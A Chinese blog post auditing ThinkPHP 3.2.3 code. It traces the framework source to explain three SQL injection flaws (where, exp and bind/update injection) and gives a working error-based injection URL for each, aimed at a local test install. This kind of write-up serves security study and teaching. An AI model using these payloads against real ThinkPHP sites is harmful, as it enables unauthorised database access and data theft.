thinkphp3代碼審計(jì)


環(huán)境配置

1.thinkphp官網(wǎng)下載thinkphp_3.2.3FUll版本。

2.數(shù)據(jù)庫(kù)配置:

 'DB_TYPE'               =>  'mysql',     // 數(shù)據(jù)庫(kù)類(lèi)型
    'DB_HOST'               =>  '127.0.0.1', // 服務(wù)器地址
    'DB_NAME'               =>  'thinkphp',          // 數(shù)據(jù)庫(kù)名
    'DB_USER'               =>  'root',      // 用戶(hù)名
    'DB_PWD'                =>  'root',          // 密碼
    'DB_PORT'               =>  '3306',        // 端口
    'DB_PREFIX'             =>  'thinkphp_',    // 數(shù)據(jù)庫(kù)表前綴
    'DB_PARAMS'             =>  array(), // 數(shù)據(jù)庫(kù)連接參數(shù)
    'DB_DEBUG'              =>  TRUE, // 數(shù)據(jù)庫(kù)調(diào)試模式 開(kāi)啟后可以記錄SQL日志
    'DB_FIELDS_CACHE'       =>  true,        // 啟用字段緩存
    'DB_CHARSET'            =>  'utf8',      // 數(shù)據(jù)庫(kù)編碼默認(rèn)采用utf8
    'DB_DEPLOY_TYPE'        =>  0, // 數(shù)據(jù)庫(kù)部署方式:0 集中式(單一服務(wù)器),1 分布式(主從服務(wù)器)
    'DB_RW_SEPARATE'        =>  false,       // 數(shù)據(jù)庫(kù)讀寫(xiě)是否分離 主從式有效
    'DB_MASTER_NUM'         =>  1, // 讀寫(xiě)分離后 主服務(wù)器數(shù)量
    'DB_SLAVE_NO'           =>  '', // 指定從服務(wù)器序號(hào)

3.數(shù)據(jù)庫(kù)測(cè)試

 public function test(){
        $data = M('3')->where('id=1')->select();
        var_dump($data);
    }
1.jpg

2.jpg

至此環(huán)境基本配置完畢,還有就是xdebug之類(lèi)的。


thinkphp開(kāi)發(fā)模式學(xué)習(xí)

1.url模式

標(biāo)準(zhǔn)路由模式

http://serverName/index.php/模塊/控制器/操作

如果我們直接訪問(wèn)入口文件的話,由于URL中沒(méi)有模塊、控制器和操作,因此系統(tǒng)會(huì)訪問(wèn)默認(rèn)模塊(Home)下面的默認(rèn)控制器(Index)的默認(rèn)操作(index),因此下面的訪問(wèn)是等效的:

http://serverName/index.php
http://serverName/index.php/Home/Index/index

普通模式

也就是傳統(tǒng)的GET傳參方式來(lái)指定當(dāng)前訪問(wèn)的模塊和操作,例如:

http://localhost/?m=home&c=user&a=login&var=value

m參數(shù)表示模塊,c參數(shù)表示控制器,a參數(shù)表示操作(當(dāng)然這些參數(shù)都是可以配置的),后面的表示其他GET參數(shù)。

兼容模式

是用于不支持PATHINFO的特殊環(huán)境,URL地址是:

http://localhost/?s=/home/user/login/var/value

分別為模塊,控制器,方法,參數(shù)名,參數(shù)值。
變量名可自己控制:

'VAR_PATHINFO'          =>  'path'

A方法

在一個(gè)控制器中調(diào)用另一個(gè)控制器。
先新建一個(gè)控制器,繼承think底層的contorller類(lèi),然后在實(shí)現(xiàn)方法即可。


3.png

然后在另一個(gè)控制器中使用A方法去

public function atest(){
        $User = A('User');
        $User->index();
    }
4.jpg

R方法

與A方法功能相同

public function atest(){
       R('User/index')
    }

Action參數(shù)綁定

根據(jù)官方手冊(cè):

namespace Home\Controller;
use Think\Controller;
class BlogController extends Controller{
    public function read($id){
        echo 'id='.$id;
    }
    public function archive($year='2013',$month='01'){
        echo 'year='.$year.'&month='.$month;
    }
}

url:

http://serverName/index.php/Home/Blog/read/id/5
http://serverName/index.php/Home/Blog/archive/year/2013/month/11

M方法和D方法

在實(shí)例化的過(guò)程中,經(jīng)常使用D方法和M方法,這兩個(gè)方法的區(qū)別在于M方法實(shí)例化模型無(wú)需用戶(hù)為每個(gè)數(shù)據(jù)表定義模型類(lèi),如果D方法沒(méi)有找到定義的模型類(lèi),則會(huì)自動(dòng)調(diào)用M方法。通俗一點(diǎn)說(shuō):M實(shí)例化參數(shù)是數(shù)據(jù)庫(kù)的表名。D實(shí)例化的是你自己在Model文件夾下面建立的模型文件
例如:user = new UserModel(); 等價(jià)于user = D('user');
如果實(shí)例化的是一個(gè)空模型
例如 Demo = new Model(); 那么它等價(jià)于Demo = M();

其他方法

A快速實(shí)例化Action類(lèi)庫(kù)
B執(zhí)行行為類(lèi)
C配置參數(shù)存取方法
D快速實(shí)例化Model類(lèi)庫(kù)
F快速簡(jiǎn)單文本數(shù)據(jù)存取方法
L 語(yǔ)言參數(shù)存取方法
M快速高性能實(shí)例化模型
R快速遠(yuǎn)程調(diào)用Action類(lèi)方法
S快速緩存存取方法
U URL動(dòng)態(tài)生成和重定向方法
W 快速Widget輸出方法

I方法

I方法是ThinkPHP眾多單字母函數(shù)中的新成員,其命名來(lái)自于英文Input(輸入),主要用于更加方便和安全的獲取系統(tǒng)輸入變量,可以用于任何地方,用法格式如下:
I('變量類(lèi)型.變量名',['默認(rèn)值'],['過(guò)濾方法'])

where注入

測(cè)試代碼:

     public function index()
    {
        $data = M('3')->find(I('GET.id'));
        var_dump($data);
    }

通過(guò)I方法獲取id的值進(jìn)行拼接,然后執(zhí)行查詢(xún)語(yǔ)句,最后得到結(jié)果,在此處打斷點(diǎn),開(kāi)啟debug模式。


5.jpg

可以看到正常情況下,執(zhí)行的sql語(yǔ)句為:

SELECT * FROM `thinkphp_3` WHERE `id` = 1 LIMIT 1 

我們傳入id=1'然后打斷點(diǎn)??梢钥吹絝unctions.php:380,使用了htmlspeclalchars進(jìn)行了參數(shù)過(guò)濾,但是過(guò)濾后id值依舊為1'繼續(xù)跟進(jìn)。


6.jpg

7.jpg

然后在412行,array_walk_recursive()使用think_filte函數(shù)對(duì)傳入值進(jìn)行過(guò)濾。


8.jpg

think_filte:
function think_filter(&$value)
{
    // TODO 其他安全過(guò)濾

    // 過(guò)濾查詢(xún)特殊字符
    if (preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
        $value .= ' ';
    }
}

此時(shí)id依舊為1‘,然后在到748行,_parseOptions方法對(duì)傳入?yún)?shù)進(jìn)行處理。


9.jpg

在ThinkPHP/Library/Think/Model.class.php:648對(duì)查詢(xún)的字段進(jìn)行了檢查,并使用_parseType方法進(jìn)行了驗(yàn)證。

   if (is_array($options)) { //當(dāng)$options為數(shù)組的時(shí)候與$this->options數(shù)組進(jìn)行整合
            $options = array_merge($this->options, $options);
        }
 
        if (!isset($options['table'])) {//判斷是否設(shè)置了table 沒(méi)設(shè)置進(jìn)這里
            // 自動(dòng)獲取表名
            $options['table'] = $this->getTableName();
            $fields           = $this->fields;
        } else {
            // 指定數(shù)據(jù)表 則重新獲取字段列表 但不支持類(lèi)型檢測(cè)
            $fields = $this->getDbFields(); //設(shè)置了進(jìn)這里
        }
 
        // 數(shù)據(jù)表別名
        if (!empty($options['alias'])) {//判斷是否設(shè)置了數(shù)據(jù)表別名
            $options['table'] .= ' ' . $options['alias']; //注意這里,直接拼接了
        }
        // 記錄操作的模型名稱(chēng)
        $options['model'] = $this->name;
 
        // 字段類(lèi)型驗(yàn)證
        if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) { //讓$optison['where']不為數(shù)組或沒(méi)有設(shè)置不進(jìn)這里
            // 對(duì)數(shù)組查詢(xún)條件進(jìn)行字段類(lèi)型檢查
           ......
        }
        // 查詢(xún)過(guò)后清空sql表達(dá)式組裝 避免影響下次查詢(xún)
        $this->options = array();
        // 表達(dá)式過(guò)濾
        $this->_options_filter($options);
        return $options;

__parsetype:

 protected function _parseType(&$data,$key) {
        if(!isset($this->options['bind'][':'.$key]) && isset($this->fields['_type'][$key])){
            $fieldType = strtolower($this->fields['_type'][$key]);
            if(false !== strpos($fieldType,'enum')){
                // 支持ENUM類(lèi)型優(yōu)先檢測(cè)
            }elseif(false === strpos($fieldType,'bigint') && false !== strpos($fieldType,'int')) {
                $data[$key]   =  intval($data[$key]);
            }elseif(false !== strpos($fieldType,'float') || false !== strpos($fieldType,'double')){
                $data[$key]   =  floatval($data[$key]);
            }elseif(false !== strpos($fieldType,'bool')){
                $data[$key]   =  (bool)$data[$key];
            }
        }
    }

在這里經(jīng)過(guò)parsetype方法處理后我們傳入的id的值被強(qiáng)轉(zhuǎn)成int型。


10.jpg

最關(guān)鍵的代碼在:

if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join']))

只要繞過(guò)這段代碼,使其成假,不進(jìn)入接下來(lái)的語(yǔ)句,就不會(huì)對(duì)我們的傳入的字符進(jìn)行處理,從而達(dá)到注入的效果。只要$options['where']不為數(shù)組,或者不設(shè)置值即可繞過(guò)。
payload:

http://127.0.0.1/thinkphp_3/?id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
11.jpg

傳入id[where]=1 == where =>1


12.jpg

$input = array('id' => array('where' =>'1' ));

exp注入

表達(dá)式查詢(xún)

先看官方給的定義:

$map['字段名'] = array('表達(dá)式','查詢(xún)條件');
EXP 表達(dá)式查詢(xún),支持SQL語(yǔ)法   expression

exp表達(dá)式查詢(xún)支持sql語(yǔ)法,那我們豈不是就能為所欲為?
官方給的??:

$User = M("User"); // 實(shí)例化User對(duì)象
// 要修改的數(shù)據(jù)對(duì)象屬性賦值
$data['name'] = 'ThinkPHP';
$data['score'] = array('exp','score+1');// 用戶(hù)的積分加1
$User->where('id=5')->save($data); // 根據(jù)條件保存修改的數(shù)據(jù) 

我們可以發(fā)現(xiàn),數(shù)組的第一個(gè)元素只要為exp就可以執(zhí)行之后的slq語(yǔ)句,那么我們只要想辦法能控制,給這個(gè)數(shù)組傳值即可。
測(cè)試代碼:

   public function index()
    {
        $User = D('3');
        $map = array();
        $map['id'] = $_GET['id'];
        $user = $User->where($map)->find();
        var_dump($user);
    }

打斷點(diǎn),跟進(jìn)。
ThinkPHP/Library/Think/Model.class.php:765行find函數(shù),使用:

 $resultSet          =   $this->db->select($options);

得到了查詢(xún)結(jié)果,那么我們跟進(jìn)select函數(shù),到ThinkPHP/Library/Think/Db/Driver.class.php:942行。

public function select($options=array()) {
        $this->model  =   $options['model'];
        $this->parseBind(!empty($options['bind'])?$options['bind']:array());
        $sql    = $this->buildSelectSql($options);
        $result   = $this->query($sql,!empty($options['fetch_sql']) ? true : false);
        return $result;
    }

跟進(jìn)buildselectsql函數(shù),字面意思就是創(chuàng)建sql語(yǔ)句到956行。

public function buildSelectSql($options=array()) {
        if(isset($options['page'])) {
            // 根據(jù)頁(yè)數(shù)計(jì)算limit
            list($page,$listRows)   =   $options['page'];
            $page    =  $page>0 ? $page : 1;
            $listRows=  $listRows>0 ? $listRows : (is_numeric($options['limit'])?$options['limit']:20);
            $offset  =  $listRows*($page-1);
            $options['limit'] =  $offset.','.$listRows;
        }
        $sql  =   $this->parseSql($this->selectSql,$options);
        return $sql;
    }

這里還是沒(méi)發(fā)現(xiàn)exp的影子,而且又用parsesql函數(shù),那么繼續(xù)跟進(jìn)parsesql函數(shù)。

 public function parseSql($sql,$options=array()){
        $sql   = str_replace(
            array('%TABLE%','%DISTINCT%','%FIELD%','%JOIN%','%WHERE%','%GROUP%','%HAVING%','%ORDER%','%LIMIT%','%UNION%','%LOCK%','%COMMENT%','%FORCE%'),
            array(
                $this->parseTable($options['table']),
                $this->parseDistinct(isset($options['distinct'])?$options['distinct']:false),
                $this->parseField(!empty($options['field'])?$options['field']:'*'),
                $this->parseJoin(!empty($options['join'])?$options['join']:''),
                $this->parseWhere(!empty($options['where'])?$options['where']:''),
                $this->parseGroup(!empty($options['group'])?$options['group']:''),
                $this->parseHaving(!empty($options['having'])?$options['having']:''),
                $this->parseOrder(!empty($options['order'])?$options['order']:''),
                $this->parseLimit(!empty($options['limit'])?$options['limit']:''),
                $this->parseUnion(!empty($options['union'])?$options['union']:''),
                $this->parseLock(isset($options['lock'])?$options['lock']:false),
                $this->parseComment(!empty($options['comment'])?$options['comment']:''),
                $this->parseForce(!empty($options['force'])?$options['force']:'')
            ),$sql);
        return $sql;
    }

這個(gè)函數(shù)應(yīng)該用來(lái)對(duì)sql語(yǔ)句進(jìn)行處理,我們跟進(jìn)parseWhere.


15.jpg

在這個(gè)函數(shù)中,不管怎么樣,我們傳進(jìn)來(lái)的值都會(huì)被parseWhereItem進(jìn)行處理,我們繼續(xù)跟進(jìn)。


16.jpg
 }elseif('bind' == $exp ){ // 使用表達(dá)式
                    $whereStr .= $key.' = :'.$val[1];
                }elseif('exp' == $exp ){ // 使用表達(dá)式
                    $whereStr .= $key.' '.$val[1];

這里,判斷,然后直接進(jìn)行拼接。
首先我們要滿(mǎn)足:if(is_array(val))val的值就是我們傳入的值,所以我們只要傳入一個(gè)數(shù)組,然后exp= strtolower(val[0]);這里取val一號(hào)位的值,那么我們只要val[0]=exp且$val為數(shù)組即可進(jìn)行注入。
payload:http://127.0.0.1/thinkphp_3/?id[0]=exp&id[1]==1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--

17.jpg

之所以不用thinkphp內(nèi)置函數(shù)I來(lái)獲取值是因?yàn)?,在where注入中,think_filter
函數(shù),對(duì)傳入?yún)?shù)進(jìn)行了過(guò)濾。

function think_filter(&$value){
// TODO 其他安全過(guò)濾

// 過(guò)濾查詢(xún)特殊字符
if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
    $value .= ' ';
}
}

對(duì)exp進(jìn)行了過(guò)濾所以不能成功注入。

update注入

上文說(shuō)到,當(dāng)$val[0]==bind時(shí)也會(huì)直接將語(yǔ)句拼接,update注入就出自與此。
代碼:

   public function index()
    {

        $User = D('3');
        $user['id'] = I('id');
        $data['password'] = I('password');
        $valu = $User->where($user)->save($data);
        var_dump($valu);
    }

在$valu行打斷點(diǎn),直接進(jìn)入where方法,一路跟進(jìn),到update方法,在繼續(xù)跟進(jìn)此方法
到ThinkPHP/Library/Think/Db/Driver.class.php:891

public function update($data,$options) {
        $this->model  =   $options['model'];
        $this->parseBind(!empty($options['bind'])?$options['bind']:array());
        $table  =   $this->parseTable($options['table']);
        $sql   = 'UPDATE ' . $table . $this->parseSet($data);
        if(strpos($table,',')){// 多表更新支持JOIN操作
            $sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');
        }
        $sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
        if(!strpos($table,',')){
            //  單表更新支持order和lmit
            $sql   .=  $this->parseOrder(!empty($options['order'])?$options['order']:'')
                .$this->parseLimit(!empty($options['limit'])?$options['limit']:'');
        }
        $sql .=   $this->parseComment(!empty($options['comment'])?$options['comment']:'');
        return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
    }

可以看到,數(shù)據(jù)傳入后,經(jīng)parserwhere處理最后交由execute,那么我們跟進(jìn)

    public function execute($str,$fetchSql=false) {
        $this->initConnect(true);
        if ( !$this->_linkID ) return false;
        $this->queryStr = $str;
        if(!empty($this->bind)){
            $that   =   $this;
            $this->queryStr =   strtr($this->queryStr,array_map(function($val) use($that){ return '\''.$that->escapeString($val).'\''; },$this->bind));
        }
        if($fetchSql){
            return $this->queryStr;
        }

可以看到當(dāng)前的sql語(yǔ)句為:

'UPDATE `thinkphp_3` SET `password`=:0 WHERE `id` = :1'
19.jpg

經(jīng)過(guò)

$this->queryStr =   strtr($this->queryStr,array_map(function($val) use($that){ return '\''.$that->escapeString($val).'\''; },$this->bind));

語(yǔ)句變?yōu)?/p>

UPDATE `thinkphp_3` SET `password`='122344' WHERE `id` = :1
20.jpg

我們發(fā)現(xiàn):0被password的值替換,那么我們只要將id的值設(shè)置成0即可,在傳入拼接的sql語(yǔ)句即可。
payload:

http://127.0.0.1/?id[0]=bind&id[1]=0%20and%20(updatexml(1,concat(0x7e,(select%20user()),0x7e),1))&password=122344
21.jpg

至此thinkphp3的漏洞審計(jì)告一斷落,這也是我第一次代碼審計(jì),參考了很多師傅的文章,感謝各位師傅無(wú)私奉獻(xiàn)的精神。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

友情鏈接更多精彩內(nèi)容